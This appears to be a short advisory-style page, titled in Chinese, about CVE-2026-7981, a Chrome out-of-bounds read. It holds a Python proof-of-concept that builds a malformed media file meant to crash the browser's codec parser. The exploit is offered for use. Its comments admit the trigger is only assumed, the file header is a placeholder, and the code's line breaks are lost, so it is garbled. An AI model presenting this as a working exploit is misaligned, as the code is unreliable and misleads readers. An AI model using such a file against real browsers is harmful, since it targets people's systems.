CVE-2026-7981 Google Chrome越界读取漏洞

import struct # Proof of Concept for CVE-2026-7981 # This script generates a malformed media file to trigger the Out of Bounds Read in Chrome Codecs. def generate_malformed_file(filename): with open(filename, 'wb') as f: # Generic file header (simplified) f.write(b'MALFORMED_CODEC_HEADER') # Writing data that triggers the specific parsing logic # Assuming the vulnerability is triggered by an invalid size field in the codec header # causing the parser to read beyond the allocated buffer. invalid_size = 0xFFFFFFFF # Max uint32 to force out of bounds calculation f.write(struct.pack('<I', invalid_size)) # Padding f.write(b'A' * 100) print(f"[+] Generated {filename}. Open this file in a vulnerable Chrome version.") if __name__ == "__main__": generate_malformed_file("cve_2026_7981_poc.mkv")